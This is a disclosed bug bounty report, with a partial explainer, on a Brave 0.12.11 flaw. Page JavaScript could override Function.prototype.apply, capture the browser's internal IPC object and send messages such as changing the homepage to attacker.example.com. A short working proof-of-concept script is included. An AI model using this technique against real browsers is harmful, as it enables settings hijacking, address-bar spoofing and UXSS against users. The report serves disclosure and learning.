Sending arbitrary IPC messages via overriding Function.prototype.apply
Brave Browser allowed user-supplied JavaScript to overwrite the built-in Function.prototype.apply, which the internal IPC utility relied on. An attacker could then send arbitrary IPC messages to change browser settings, spoof the address bar, or perform UXSS.
Originally disclosed on HackerOne
- Triaged in 3 hours
- Fixed in 24 hours
- Paid in 24 hours
- Disclosed after 21 months
Summary:
Brave Browser allows to overwrite the internal js code from the user js code. Using this behavior, an attacker can send arbitrary IPC messages and do UXSS, address bar spoofing, changing browser settings and so on. This bug is similar to #187542.
Tested on:
Brave 0.12.11
Steps To Reproduce:
- Go to this page: https://vulnerabledoma.in/brave/settings_change2.html
<script>
Function.prototype.apply=function(ipc){
ipc.send("dispatch-action",'{"actionType":"app-change-setting","key":"general.homepage","value":"http://attacker.example.com/"}');
}
</script>
<div style="visibility:hidden">
<embed src=".swf"></embed>
</div>
- See
about:preferences. You can confirm that your home page is changed tohttp://attacker.example.com/.
Also an attacker can do UXSS and address bar spoofing using this bug. Please see #187542's PoC .
#Technical Details
This apply in the ipc_utils.js is overwritten:
ipcRenderer.emit = function () {
arguments[1].sender = ipcRenderer
return EventEmitter.prototype.emit.apply(ipcRenderer, arguments)
}
atom.v8.setHiddenValue('ipc', ipcRenderer)
}
And the 1st arguments leaks IPC method.
Could you confirm this bug? Thanks!
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the internal IPC helper called a globally overridable Function.prototype.apply, so page script could replace it and intercept the IPC object passed as an argument.
Impact
An attacker could send arbitrary IPC messages, which could change browser settings, spoof the address bar, or perform UXSS.
What the attacker needed
Victim visits a malicious page; Brave 0.12.11
How it was found
- Visit the attacker-controlled page that overrides Function.prototype.apply.
- The page's script receives the IPC object and sends a dispatch-action message to change the homepage setting.
- Open about:preferences and observe the homepage has been changed.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Web pages can run JavaScript, and the browser also runs its own JavaScript internally. This report shows that a page's script could replace a core JavaScript function that the browser's internal code used, letting the page send messages meant only for the browser itself. That let the page change settings or fake the address bar.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.